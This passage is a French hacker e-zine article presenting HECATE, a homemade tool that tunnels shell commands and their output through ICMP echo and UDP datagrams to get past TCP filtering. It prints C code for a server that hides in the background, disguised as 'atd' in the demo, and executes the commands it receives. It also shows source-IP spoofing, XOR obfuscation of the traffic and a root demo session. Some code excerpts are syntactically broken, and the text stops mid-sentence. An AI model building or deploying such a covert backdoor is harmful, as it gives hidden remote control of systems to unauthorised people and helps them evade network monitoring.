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Input Output Magazine Issue 06_x0C

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Published in 
Input Output Magazine
 · 3 years ago

  

-------------------------------------------------------------------------------
X. Projet HECATE v1.0, ICMP/UDP based Tunneling Tool neofox
-------------------------------------------------------------------------------


[ Introducion ]

Voici enfin released notre petit joujou fait maison. Pas de quoi faire sauter
une braguette me direz vous, j'en conviens, mais ça nous amuse, voila tout.
Je prends la parole pour cet article nom de ceux qui ont de prés ou de loin
participé à l'écriture du code. Ce fut, c'est, et ce sera un projet de groupe,
mené par la communauté #ioc epiknet, l'occasion de travailler à plusieurs pour
une fois, chacun sa contribution selon ses disponnibilités. Si je signe ce
texte de mon pseudo, c'est que c'est principalement moi qui vais rédiger cette
présentation, mais je passerai de temps en temps la parole à mes camarades
qui décriront certains points mieux que moi. Bref, cet article a pour vocation
de présenter l'outil, de commenter les grandes lignes du code, et d'en décrire
le fonctionnement, illustrations à l'appui. Attention, la version d'hecate
commentée dans ce document n'est pas la plus à jour, puisque le code est encore
en cours de préparation au moment de la rédaction de ce document. En revanche,
90% du code n'aura pas changé, donc ce papier l'affaire pour ce qui d'en saisir
les grandes lignes.


[ Sommaire ]

Part. I Présentation générale

1. le concept
2. bref rappel
3. le fonctionnement

Part. II Explication du code

1. les points clés
2. les fonctions d'hecate
3. le cryptage
4. client.c
5. server.c


Part. III Options, Syntaxe et Démonstration

1. les options
2. la syntaxe
3. démonstration


Part. IV Tests et Discussion

1. le dialogue PING/PONG
2. avec UDP
3. test sur eth0
4. cryptage
5. détection
6. Incrémentation

ANNEXE: hecate.v1.0.tar.gz









++++ | Part I. Présentation Générale | ++++





1. Le Concept :
______________


Hecate est un outil de tunneling, comprendre par là qu'il crée un tunnel de
communication entre une programme serveur et un programme client. D'ordinaire,
faire dialoguer client et serveur revient à travailler en mode connecté, donc
en utilisant TCP pour le transport. Ici, il s'agit au contraire d'utiliser
d'autres protocoles, en l'occurence ICMP ou UDP, pour transporter ce qui le
serait normalement par TCP. L'avantage, c'est donc de pouvoir communiquer avec
notre serveur alors que la machine sur laquelle il se trouve bloque le trafic
TCP entrant. La communication client/serveur se résume à faire exécuter par le
serveur les commandes que lui envoit le client. Dans un deuxième temps, le
client reçoit du serveur le résultat de la commande exécutée, ce qui permet en
somme d'avoir accès à un semblant de shell, en dehors de tout trafic TCP.
La communication est bi-directionelle, j'aurais tout aussi bien pu dire que ça
cirucle dans les deux sens, mais c'était l'occasion ou jamais de plaçer un
mot intelligent =p . J'entends par la que non seulement le client emet une
commande, mais aussi que serveur lui retourne une reponse, on ne travaille plus
en aveugle.

Avec Hecate vous pouvez donc, comme si vous vous trouivez sur un shell,
executer vos commandes et recevoir l'affichage, via l'ICMP ou l'UDP au choix.
Vous pouvez egalement modifier l'adresse source des paquets pour que votre
adresse reelle n'apparaisse pas (vous attentez pas a une reponse du serveur
dans ce cas), et tout ca, sans que notre activite circule en clair sur le
reseau.

Pour que la communication puisse s'établir via ICMP ou UDP, il faut injecter
nos requettes directement dans les paqeutes côté client, et les y récupérer
côté serveur, et inversemment pour le retour. Jettons un oeil aux protocols.





2. Bref Rappel :
________________


On ne va pas s'étendre sur le fonctionnement de l'ICMP et de l'UDP, il y a les
RFC pour ça, qui le feront d'ailleurs mieux que nous. Rapellons simplement à
titre indicatif la structure des deux entêtes :



0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 0 7 8 15 16 23 24 31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +--------+--------+--------+--------+
|Version| IHL |Type of Service| Total Length | | Port | Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source | Destinataire |
| Identification |Flags| Fragment Offset | +--------+--------+--------+--------+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | |
| Time to Live | Protocol | Header Checksum | | Longueur | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +--------+--------+--------+--------+
| Source Address | | données ... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +---------------- ... --------------+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Nous allons nous focaliser uniquement sur les types de datagrames et les
champs qui nous intéressent dans le cadre du programme.

[ ICMP ]

Le permier champ est le champ "type". On ne s'intéresse qu'au trafic ICMP
ECHO/ECHOREPLY, echo et réponse à echo, soient respectivement le type 8 et 0.
Le second champ utile est "sequence", qui sert normalement à situer le
datagrame dans une suite de ping. Quand vous pingez un hôte, le n° de sequence
du permier PING de la série vaut 1, et c'est incrémenté pour chaque PING. Cela
permet d'ordoner les datagrames, défois qu'un echo se perde en route.
Le dernier champ que nous utiliserons, j'aurais peut-être du commençer par
là, est le champ data. On s'interesse justement aux types 0 et 8 en raison de
leur champ data dans lequel on va pouvoir insérer à l'aise tout ce que l'on veut.


[ UDP ]

Pas grand chose à dire, les champs source et dest, qui correspondent au n° de
port duquel partira et auquel arrivera le datagrame. Les données viennent à la
suite, on se serviera de ce champ de la même manière qu'avec celui d'ICMP.






3. Fonctionnement d'Hecate :
____________________________


Une fois ce petit rappel fait, on peut discuter du fonctionnement de notre
tunnel plus en détail. Le but est de pouvoir exécuter nos commandes à
distance comme si on avait accès à un shell. On va camoufler nos commandes
dans le trafic ICMP ECHO et UDP.


[ Le Tunnel ]

Hecate se compose donc d'une partie client et d'une partie serveur. Il crée
une sorte de tunnel de communiquation entre elles deux, les commandes y etant
envoyée a un bout et exécutées à l'autre bout, la réponse empruntant le chemin
inverse. Le client saisit la commande qu'on lui passe, l'envoie au serveur camou-
-flée dans un datagrame ICMP ou UDP. Le serveur qui écoutait le trafic ICMP et
UDP entrant capte notre datagrame, en extrait la commande et l'exécute. La sortie
de la commande (le listing d'un répertoire dans le cas d'un 'ls') est redirigée
dans un buffer, on apellera ça l'affichage retour. Cet affichage retour est à son
tour copié dans le champ données d'un datagrame réponse, qui est retourné au
client. Enfin, le client qui écoutait lui aussi le trafic capte le datagrame
réponse, en extrait l'affichage retour du champ données et l'écrit sur la
sortie standard.






[ Reperer nos datagrames ]

Nos commandes parviennent au server parmi d'autres datagrames ICMP/UDP. Il en
est de même pour le client. Le serveur ne doit traiter que les datagrames
venant du client et vice versa. On a donc recours à une valeur spéciale des
champs des headers pour identifer nos paquets (je devrais pas dire paquet mais
datagrame parce qu'on raisonne au niveau de la couche IP là, mais ca fait trop
de répétitions). Oui, donc on va coller un valeure spéciale à certains champs.
Cette valeur spéciale sera 'magic_num'. Les tests réalisés plus bas ainsi que
les explications qui vont suivre concidèrent le 'magic_num' par défaut, qui
vaut 666 mais il est possible de lui attribuer une autre valeur par un argument
du main. Notez que si vous spécifiéz un 'magic_num' en lançant le server, vous
devez exécuter le client avec ce même 'magic_num' en paramètre. De la même
manière, si vous utilisez le 'magic_num' par défaut coté serveur, le dialogue ne
foncitonnera que si vous utilisez également le 'magic_num' par défaut coté client.

Le dialogue client/serveur se passe comme suit :
Lorsque le protocole utilisé est l'ICMP, le client envoit un PING avec la
commmande au serveur, qui lui retourne un PONG avec l'affichage retour.
Notre serveur ne devra tenir compte que du type ICMP_ECHO, et le client, que
de l'ICMP_ECHOREPLY. Mais ça ne suffit pas, pour identifier correctement nos
paquets. On va utiliser le champ sequence en lui attribuant le 'magic_num'.
Ainsi, parmi l'ensmeble du trafic ICMP, nos datagames seront ceux ayant un
seqnum particulier, par défaut 666. Ce qui donne un server en attente d'un
type 8, seqnum à 666, et un client en attente d'un type 0, sequnum à 666 aussi.
Nos paquets seront donc bien distingués du reste des ICMPs, au risque de
traiter par erreur le 666 ème paquet d'une session de ping ... mais ça doit
pas arriver souvent =)

Lorsque le protocole utilisé est l'UDP, on se base sur le port source duquel
émane le datagrame. On attribue donc la valeur 'magic_num' au port source
de nos datagrames. Le serveur est donc en attente d'un UDP provenant d'un
port 666, pareil pour le client.

Un exemple avec un UDP non spoofé. Pour les besoins de l'exemple, on utilise
le 'magic_num' par défaut, et les données sont en clair, alors qu'en pratique
c'est crypté :


CLIENT SERVER
| plaçe la commande extrait la commande |
|-> dans le champ données et l'exécute <- |

->++++++++++++++++++++++++++ ++++++++++++++++++++++++++
UDP + source=666 + dest=9238 + + source=666 + dest=9238 +
++++++++++++++++++++++++++ ++++++++++++++++++++++++++
HEADER + len=8+cmd + cksum + + len=8+cmd + cksum +
->++++++++++++++++++++++++++ ++++++++++++++++++++++++++
DATA + "ls -al" + + "ls -al" +
->++++++++++++++++++++++++++ ++++++++++++++++++++++++++

| |
|-> ====================>>>>>>>>>>>>>>======================->|
TUNNEL UDP
|<-=====================<<<<<<<<<<<<<<======================<-|
| |
++++++++++++++++++++++++++ ++++++++++++++++++++++++++
+ source=666 + dest=7546 + + source=666 + dest=7546 +
++++++++++++++++++++++++++ ++++++++++++++++++++++++++
+ len=8+data + cksum + + len=8+data + cksum +
++++++++++++++++++++++++++ ++++++++++++++++++++++++++
+ "drwx--x--x 10 fox "+ + "drwx--x--x 10 fox "+
++++++++++++++++++++++++++ ++++++++++++++++++++++++++

|-> extrait l'affichage et plaçe l'afficahge <-|
| l'écrit sur la sortie standard dans le champ données |
CLIENT SERVER








++++ | Part II. Explication du code | ++++


Maintenant qu'on a decrit le fonctionnement general, et comment ce tool se
sert des protocols pour faire passer nos commandes, on va s'interesse de plus
pres au code.



1. Les points cles :
____________________

Dans ce qui soit est abordé ce qu'il faut faire, ou ne pas faire, ce qu'on a
fait, et comment on l'a fait.


[ L'allure generale ]

Si on imprime le code source au format panneau publicitaire 2x3m, qu'on se
recule d'une demi douzaine de metres, et qu'on le regarde, on voit que :

le client c'est enfait une grosse boucle while(1) qui sert a afficher
le prompt. Dans cette boucle, on trouve les fonctions servant a envoyer le
datagame et a la suite, on trouve une seconde boucle while(1) qui sert au
client a ecouter le trafic entrant jusqu'a ce qu'une reponse lui parvienne.
le serveur, c'est simplement un grosse boucle while(1) lui aussi,
avec laquelle il ecoute passivement dans l'attente d'une requete.




[ Fonctions utiles ]

Voici les fonctions indispensables pour ecrire ce genre d'outil :

o sendto() et recvfrom(): vu qu'on est en mode non connecte, c'est pas
recv() mais bien recvfrom(). Cherchez pas a ecrire/recevoir sur votre
socket a l'aide de write/read, vous perdirez du temps.

o popen(): celle la, si tu la connais pas tu peux pas l'inventer. Elle
est geniale pour l'affichage retour cette fonction. Elle execute la
commande passee en argument et invoque le shell. Grace a elle, on peut
recuperer la sortie de la commande. On s'est fait vraiemment chier Ciel
et moi meme avec des pipe(), fork(), dup(), dup2(), pour arriver a un
resultat similaire, avant de decouvrir popen() par hasard enconlustant
le manuel. popen() est a utiliser avec pclose().


C'est à peu prés tout, les autres fonctions sont classiques. On peut aussi
utiliser select() pour faire joli, et fixer un timeout sur la socket sur
laquelle on écoute, voir la fonction timeout() dans hecate.h.





2. Les fonctions d'hecate :
___________________________


Voici dabord une descriptions des principales fonctions de hecate.h, seules
les plus intéressantes seront détaillés plus bas :


o go_background() cache le serveur en arrière plan.
o proc_data() exécute la commande grace à popen().
o do_crypt() encrypte/décrypte les données transmises.
o open_socket() importante fonction, détaillée plus bas.
o lookup() pour la résolution de l'adresse de desitnation.
o timeout() clos la socket si aucun paquet n'arrive à temps.
o make_checksum() rippée de chez rippée, c'est l'usage avec cette fonction
o send_ICMP() probablement la plus intéressante avec send_UDP().
o send_UDP() quand on parle du loup ...
o send_pizza() hahahaha, je vous ai déja fait le coup non ? =)







[ proc_data() ]

Sa syntaxe : int proc_data(char *cmd, char *buf).
Cette fonction est utilisé par le server pour exécuter les commandes du
client. proc_data() exécute 'cmd', écrit la sorite dans 'buf', et retourne
le nombre d'octets constituant la sortie de la commande.

Pour ce faire, on utilise popen() qui exécute la commande et retourne un fd de
type FILE. On lit dans 'buf' depuis ce fd, et on retourne i, étant le nombre
d'octets lus dans le flux.

memset(buf, '\0', DATA_SIZE);
if((fd = popen(cmd, "r")) != NULL){
i = fread(buf, 1, DATA_SIZE, fd);
buf[DATA_SIZE]='\0';
}

pclose(fd);
return i;

Au passage écrase à chaque appel avec memset() le contenu du buffer pointé par
'buf' pour que celui-cî ne contienne pas de données résiduelles lors du prochain
appel, ce qui risquerait de perturber l'afficahge retour.





[ open_socket() ]

Sa syntaxe : int open_socket(int spoof, int proto).
Cette fonction crée une socket utilisée par send_ICMP et send_UDP pour
émettre les datagrams. Elle prend en paramètre la variable spoof et le
numéro du protocol auquel est destiné la socket, et retourne un file
descriptor.


Si spoof vaut 0, on ne spoofe pas l'adresse source, et on laisse remplir
le header IP par le kernel. On se contente donc d'ouvrir en SOCK_RAW et
on précise le protocol, IPPROTO_ICMP ou IPPROTO_UDP selon que proto valle
1 ou 17.

if(!spoof)
{
if((fd = socket(AF_INET, SOCK_RAW, proto)) < 0)
return -1;
}


Si spoof vaut 1, on va forger nous même l'entête IP. On ouvre donc la socket
en SOCK_RAW et IPPROTO_RAW, et utilise setsockopt() pour avertir le kernel
que le header IP est inclus dans les données (IP_HDRINCL pour IP Header
INCLude).

else
{
if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return -1;

on++;
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
return -1;

}

return fd;




[ send_ICMP() et send_UDP() ]

La fonction send_ICMP() est utilisée à la fois par le client et par le server
pour envoyer un datagrame ICMP. Le client l'utilise pour émettre un ICMP_ECHO
et par le serveur pour envoyer un ICMP_ECHOREPLY. Cette fonction forge le header
ICMP et le header IP si le mode spoofing est demandé.

int send_ICMP(int type, u_long dest_addr, u_long src_addr, char *data, int spoof)

o type: le type d'ICMP à envoyer, 0 ou 8.
o data: les donnés à joindre au datagrame.
o spoof: l'option spoofing (1 = activé).




On commençe par ouvrir une socket avec comme protocol IPPROTO_ICMP :

if((sock = open_socket(spoof, 1)) == -1){
perror("open_socket()");
return -1;
exit(1);
}


Si spoof vaut 1, on renseigne les champs du header IP, et on indique 'src_addr'
comme adresse source. Dans tous les cas, on remplit le header ICMP en collant
au seqnum la valeur 'magic_num', puis on copie nos données à la suite de l'entête :


/* ICMP HEADER */
my_icmp->type = type;
my_icmp->un.echo.sequence = htons(magic_num);
my_icmp->checksum = 0;

/* DATA */
memcpy(my_data, data, strlen(data));


On terminera en envoyant le paquet ainsi construit avec sendto().

La fonction send_UDP() est analogue à la précédente, sauf qu'elle prend comme
paramètre 'dest_port' et 'src_port' à la place du parapètre 'type'. 'dest_port'
et 'src_port' sont les ports source et de destination du datagrame UDP.
'dest_port' peut avoir une valeur aléatoire, ou une valeur fixée par l'option
'-d<dest_port>' du main. Le paramètre 'src_port' vaut 'magic_num', et permet
au client et au serveur d'identifer les paquets qu'ils s'enoient l'un l'autre.


/* ICMP HEADER */
my_udp->dest = htons(dest_port);
my_udp->source = htons(src_port);
my_udp->len = strlen(data) + sizeof(struct udphdr);

/* DATA */
memcpy(my_data, data, strlen(data));





3. Le cryptage :
________________


J'apelle ça cryptage, c'est enfait un XOR effectué bits à bits, une première fois
sur nos donnes en clair, et puisque c'est une opération réversible, une seconde fois
sur les données cryptées. J'ai appris par la même occasion le fonctionnement de XOR
que je ne conaissait pas avant ça, mais pour ce qui est d'en parler plus en détails,
je laisse la parole à un certain anonymous pour les explications :



[ Choix d'une bonne clé ]

La clé doit etre sur un byte.
Elle doit avoir une bonne alternance entre 0 et 1 dans son écriture binaire,
pour que le résultat crypté soit le plus différent possible de la donné a
crypter. (bien que ce ne soit pas tout a fait exact car il faudrais prendre a
considération la frenquence d'utilisation des caractères utilisé)
Ensuite il ne faut SURTOUT PAS que la clé soit égale a un nombre qui peut etre
envoyé par le client, ex un caractère. Si la clé est egale a 0x73 lors du cryptage
d'un 's' le résultat de ce cryptage devient 0x00 et je pense que va pauser de
gros problèmes de produire un ou des 00. En regardans la table ascii il faut
que la clé fasse minimum 0x7F ou 127.


1010 0101
A 5

Je pense que 0xA5 ou 165(décimal) ferais une bonne clé ou tout
autre nombre du meme genre.



[ do_crypt() ]

C'est la petite fonction de cryptage d'hecate.h. On l'utilise à la fois pour
encoder et décoder, vu qu'elle est réversible. Elle prend pour argument un
pointeur vers les données en clair et données en clair, et un pointeur vers
un buffer qui contiendra les données encodées.


void
do_crypt(char *data, char *result)
{
int i;
memset(result, '\0', strlen(result));
for(i=0; i<strlen(data); i++){
if(data[i] != '\x00')
result[i] = data[i] ^ CRYPTKEY;
}
}


Avec le memset, on écrase le contenu du buffer pointé par 'result' qui
peut contenir les données encodées lors d'un précédent appel à do_encrypt().





4. Le Client :
______________

Nous venons de commenter rapidement les fonctions de hecate.h et le cryptage,
on va maintenant regarder le code du client, pour voir comment ces fonctions
sont apellées. On s'arretera simplement sur les parties les plus importantes,
le code étant beaucoup commenté :




On crée un prompt pour faire joli, et on récupère dabord la commande en clair
avec fgets depuis l'entrée standard :

-------8<-----------------------------------------------------------------------
/* prompt */
c=1;
while(1)
{
/*
* invite de commande
*/

prompt:
printf("%s%s ~%d%s%s ", COLORON, PROMPTNAME, c++, PROMPT, COLOROFF);


/*
* saisie de la commande
* entrée au prompt
*/

if((fgets(clear_cmd, CMD_SIZE, stdin)) == NULL){
perror("getting clear_cmd");
exit(0);
}

-------8<-----------------------------------------------------------------------

On vérifie ensuite si la commande saisie est destinée à être exécuter à distance,
ou bien au contraire si elle sert à manipuler localement le client. Une fois fait,
on a plus besion de la commande en clair, on peut donc la crypter :

-------8<-----------------------------------------------------------------------
/*
* menu d'aide disponible au prompt
*/

if(strstr(clear_cmd, HELPME) != NULL){
helpme();
goto prompt;
}


/*
* pour fermer le client proprement
*/

if(strstr(clear_cmd, QUITMSG)!=NULL)
quit(sent, recv);


/*
* cyptage de la commande
* à envoyer
*/

do_crypt(clear_cmd, crypted_cmd);

-------8<-----------------------------------------------------------------------




On vérifie le protocole qui a été demandé, qui est soit l'ICMP soit l'UDP.
Si c'est de l'ICMP on envoit le datagrame avec send_ICMP. On veut envoyer
un PING, on on passe en argument un type 8 ICMP_ECHO. On précise la valeur
du seqnum qui sera notre 'magic_num'. On lui passe aussi les adresses source
et de destination, la commande crypté, la taille du datagarme commande comprise
et la variable 'spoof', qui vaut 0 par défaut. Si le client a été exécuté avec
l'option 's', alors l'adresse source est spoofée et on a incrémenté 'spoof' si
vaut alors 1. Si spoof vaut 0, send_ICMP demandera à open_socket() d'ouvrir une
socket avec IPPROTO_ICMP, et si spoof vaut 1, avec IPPROTO_RAW.

-------8<-----------------------------------------------------------------------

/*
* On utilise l'ICMP
*/

if(proto == IPPROTO_ICMP)
{
size = sizeof(struct icmphdr) + strlen(crypted_cmd);
if((send_ICMP(8, magic_num, server_addr, client_addr, crypted_cmd, spoof));
}

-------8<-----------------------------------------------------------------------



Si le protocole demandé est UDP, on utilise send_UDP et on lui passe en argument,
le port de destination, qui est soit aléatoire soit spécifié par l'option '-d',
le port source, qui est enfait notre 'magic_num', les adresses source et de
destination, la commande cryptée, la taille, et 'spoof', 0 ou 1.

-------8<-----------------------------------------------------------------------

/*
* Sinon, on utilise
* l'UDP
*/

if(proto == IPPROTO_UDP)
{
size = sizeof(struct udphdr) + strlen(crypted_cmd);
send_UDP(dest_port, src_port, server_addr, client_addr, crypted_cmd, spoof));

}



-------8<-----------------------------------------------------------------------



Si le mode spoofing a été demandé, on vient d'envoyer un datagrame avec une
fausse adresse source, donc la réponse du serveur ne nous parviendra pas à
nous mais à cette adresse, si elle existe. C'est donc inutile d'attendre un
datagrame réponse, donc on rebalance un prompt.
Sinon, on ouvre une boucle while(1). On onvre une socket SOCK_PACKET sur
laquelle on place un timeout, et on attend une réponse avec recvfrom() :

-------8<-----------------------------------------------------------------------

if(spoof) goto prompt;

/*****************************
* CLIENT WAITING FOR A REPLY
*****************************/

while(1)
{

sock_recv = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)));

if(timeout(delay, sock_recv) == -1)
break;

/* pointeur sur le header IP */
ip_recv = (struct iphdr *)(packet_to_recv + sizeof(struct ethhdr));

bzero(&packet_to_recv, PACKET_SIZE);
bytes = recvfrom(sock_recv, (char *)&packet_to_recv, PACKET_SIZE, 0, 0, 0);

-------8<-----------------------------------------------------------------------


Si le paquet reçu est un ICMP, on déclare un pointeur sur l'entête ICMP.
Si c'est un ICMP_ECHOREPLY avec le bon n° de sequence, on déclare un pointeur
sur les données qui suivent. Si les données sont vides, il n'y a pas d'affichage
retour. Sinon, on décrypte les données et on affiche ça sur la sortie standard :

-------8<-----------------------------------------------------------------------

/***********************
* DEAL WITH ICMP DGRAM
***********************/

if(ip_recv->protocol == IPPROTO_ICMP)
{
icmp_recv = (struct icmphdr *)(packet_to_recv + sizeof(struct ethhdr) + 20);

if(icmp_recv->type == 0 && icmp_recv->un.echo.sequence == htons(magic_num))
{
data_recv = (char *)(packet_to_recv + sizeof(struct ethhdr) + 28));
if(!strlen(data_recv)){
fprintf(stdout,"%s", NODATA);
goto end;
}

do_crypt(data_recv, clear_data);
write(1, clear_data, strlen(clear_data));
}
}

-------8<-----------------------------------------------------------------------

La démarche est identique avec UDP, sauf qu'on contrôle le port source pour
vérifier que ce soit bien nôtre paquet. Voila pour le client.





5. Le Serveur :
_______________


Reste à décrire brièvement le code du serveur. Les étapes peuvent se
résumer ainsi :

- on écoute et on reçoit
- si c'est notre paquet, on ouvre
- on récupère la commande
- on la décrypte
- on l'exécute en on récupère l'affichage
- on le crypte
- on le colle dans le champ données
- et on envoit le paquet réponse




-------8<-----------------------------------------------------------------------



/*******************************
* SERVER WAITING FOR A REQUEST
*******************************/

while(1)
{

sock_recv = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
recvfrom(sock_recv, (char *)&packet_to_recv, PACKET_SIZE, 0, 0, 0);

ip = (struct iphdr *)(packet_to_recv + sizeof(struct ethhdr));


-------8<-----------------------------------------------------------------------



Si on reçoit un ICMP_ECHO avec le bon seqnum, on récupère dabord les adresses
source et de destination. L'adresse source peut être spoofée. 0n décrypte la
commande, on l'exécute, on encrypte l'affichage retour qu'on copie dans le champ
donnés d'un ICMP_ECHOREPLY et on renvoit à l'adresse source :

-------8<-----------------------------------------------------------------------

if(ip->protocol == IPPROTO_ICMP)
{
icmp = (struct icmphdr *)(packet_to_recv + sizeof(struct ethhdr) + 20);
data = (char *)(packet_to_recv + sizeof(struct ethhdr) + 20 + 8));

if(icmp->type == ICMP_ECHO && icmp->un.echo.sequence == htons(magic_num))
{
client_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->saddr));
server_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->daddr));


/* decrypte */
do_crypt(data, clear_cmd);

/* exécute */
if((proc_data(clear_cmd, clear_data)) == -1)
goto end;

/* encrypte */
do_crypt(clear_data, crypted_data);

send_ICMP(ICMP_ECHOREPLY, magic_num, client_addr, server_addr, crypted_data, 0);
}
}

-------8<-----------------------------------------------------------------------



On a envoyé un type ICMP_ECHOREPLY et on met l'argument 'spoof' à 0, car on n'a
besion de spoofer l'adresse source dans ce cas de figure.
On procède de la même manière pour traiter un datagrame UDP. Dabord on controle
le pour source, et s'il correspond à notre 'magic_num', on extrait la commande,
on décrypte etc ...

-------8<-----------------------------------------------------------------------

if(ip->protocol == IPPROTO_UDP)
{
udp = (struct udphdr *)(packet_to_recv + sizeof(struct ethhdr) + 20);
data = (char *)(packet_to_recv + sizeof(struct ethhdr) + 20 + 8);


if(udp->source == htons(magic_num))
{
client_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->saddr));
server_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->daddr));

do_crypt(data, clear_cmd);

proc_data(clear_cmd, clear_data)) == -1);

do_crypt(clear_data, crypted_data);

reply_size = sizeof(struct udphdr) + strlen(crypted_data);
send_UDP(random(), magic_num, client_addr, server_addr, crypted_data, reply_size, 0));
}
}

-------8<-----------------------------------------------------------------------

Voila pour le serveur. Afin d'aller directement à l'essentiel, le code du
client et du serveur décrit cï-dessus a été épuré, j'ai supprimé la gestion
des erreurs des fonctions et les printf qui affichent les caractéristiques
des paquets reçus.











++++ | Part III. Options, Syntaxe et Démonstration | ++++



1. Options :
____________


[ Options du Client ]

Voici la liste des options donnée par le menu d'aide du client

neolab# ./client -h
-+ ICMP/UDP Crypted Tunnel - IOC Team, 2003 +-
[-h] displays this help
-p<icmp/udp> protocol to use
-t<target> server address
[-v] verbose mode
[-s]<spoof> source address, must be an IP
[-d]<port> destination port, for UDP dgrams
[-m]<magic_num> recognize our dgrams, default is 666
[-w]<delay> dealy before timeout, in sec
neolab#


usage: ./client [-vh] -p<icmp/udp> -t<dest_addr>
[-s<src_ip>] [-d<dest_port>] [-m <magic_num>] [-w <delay>]



o L'option -t<target> désigne l'adresse de la machine sur
laquelle tourne le server. 'target' peut être un nom d'hôte ou une
adresse IP.


o L'option -s<spoof> est l'IP source avec laquelle on
souhaite envoyer nos datagrames. Ce doit être une IP et non un
nom d'hôte, car il n'y a pas de fonction lookup portant sur cette
adresse. Si le mode spoofing est activé, le client ne reçevra pas
de réponse du server, on travaillera en aveugle dans ce cas.


o L'option -d<port_dest> permet de fixer le port UDP auquel
envoyer nos datagrames. Evidemment, cette option n'est valide que
si le protocole spécifé est UDP.


o L'option -p<protocol> spécifie le protocole à utiliser
pour le transport de nos données. Ca peut être 'icmp' ou 'udp', ou
bien le numéro du protocol, à savoir '1' ou '17'.


o L'option -m<magic_num> permet de fixer ... le magic_num !
En clair, le magic_num est la valeur qui sera attribuée comme port
source à nos datagrames UDP et comme seqnum à nos datagrames ICMP.
De même, le client s'attendra à recevoir des datagrames UDP ayant
comme port source 'magic_num' et des ICMP ayant 'magic_num' comme
numéro de séquence. Si vous attribuez un magic_num au client, vous
devrez spécifier le même lors de l'exécution du serveur. Si vous
ne précisez rien, le magic_num par défaut sera utilisé.


o L'option -w<delay> fixe la durée en secondes pendant
laquelle le client doit attendre une réponse du serveur. Si aucun
paquet réponse ne lui parvient avant expiration du delai, le client
concidère le serveur comme down.



[ Options du Server ]

J'écris option au singulier, car pour le server, la seule option
disponnible est -m<magic_num> qui permet de spécifier la valeur
du magic_num. Le server ne tiendra compte que des datagrames UDP
provenant d'un port source égal à 'magic_num' et des datagrames
ICMP ayant 'magic_num' comme numéro de séquence. Si vous attribuez
une valeur particulère à 'magic_num' au lançement du server, vous
devrez spécifier la même valeur au magic_num du client.




2. Syntaxe :
____________



Selon les options fournies :

a. ./client -p icmp -t www.toto-is-back.com
b. ./client -p 17 -t www.toto.com -s 123.1.2.3
c. ./client -p udp -t 146.25.68.117 -d 777
d. ./client -p 1 -t www.toto.com -m 13317
e. ./client -p udp -t www.toto.com -w 10
f. ./client -p udp -t www.toto.com -m 555 -d 777

nos commandes seront transmises par :

a. des PINGs à ce cher toto avec un seqnum 666
b. des dgrams UDP avec 123.1.2.3 comme adresse source
c. des dgrams UDP au port 777 avec un port source de 666
d. des PINGs avec un seqnum valant 13317
e. des dgrams UDP avec un timeout fixé à 10 secondes
f. des dgrams UDP émis du port 555 à destination du port 777.




[ Au Prompt ]

Au prompt, tapez '?' pour obtenir un menu d'aide, 'quit' pour fermer
le client, et 'turnoff' pour killer le server et fermer le client.
Au prompt du client vous pouvez entrer presque toutes les commandes
shell, comme si vous étiez en connexion telnet/ssh/R*.
Cependant, N'UTILISEZ PAS les étideurs vi, pico, et cie ... dans ce
cas le serveur passe la main à l'éditeur, et ne répond plus, vous
êtes bloqués, impossible de le manoeuvrer encore avec le client.






3. Démonstration :
__________________


Voici ce que ça donne en local, client/serveur sur la même machine.
Test réalisé par Emepr0r :


[root@neptune emepr0r]# ./daemon
-+ ICMP/UDP Tunnel - IOC Team, 2003 +-
server hiding itself in background
[root@neptune emepr0r]# ps -aux | grep daemon
[root@neptune emepr0r]# ps -aux | grep atd
root 3591 0.0 1.0 1686 656 pts/3 R 23:45 0:00 atd
[root@neptune emepr0r]# ./client -v -p icmp -t neptune
-+ ICMP/UDP Tunnel - IOC Team, 2003 +-
interactive shell, root priviliges allowed
using ICMP ...
hecate ~1# ls -al
PING sent to 127.0.0.1
PONG recieved from 127.0.0.1
total 112
drwxrwxr-x 2 emper0r emper0r 4096 jun 1 14:39 .
drwxr-xr-x 16 emper0r emper0r 4096 mai 29 23:24 ..
-rwxr-xr-x 1 root root 21198 jun 1 14:39 client
-rw-r--r-- 1 emper0r emper0r 6098 jun 1 14:39 client.c
-rw-r--r-- 1 emper0r emper0r 10369 mai 31 16:02 hecate.h
-rw-r--r-- 1 root root 4681 mai 27 22:57 projet.05-05-2003.tar.gz
-rw-rw-r-- 1 emper0r emper0r 6771 mai 31 15:33 projet.30-05-2003.tar.gz
-rwxr-xr-x 1 root root 20646 jun 1 14:39 server
-rw-rw-r-- 1 emper0r emper0r 4725 jun 1 14:22 server.c
-rw-rw-r-- 1 emper0r emper0r 136 mai 5 14:22 todo
hecate ~2# turnoff
turning server off,
2 Packets(s) Sent, 1 Packet(s) Recieved
closing client, bye.
[root@neptune emper0r]#







++++ | Part IV. Les Tests | ++++



Hecate a été testé sous Redhat 9.0 et versions antérieures, ainsi
que sur Mandrake 9.1. Les tests se sont déroulés sur des interfaces
lo, eth et ppp. Nous avons utilisé Tcpdump www.tcpdump.org pour
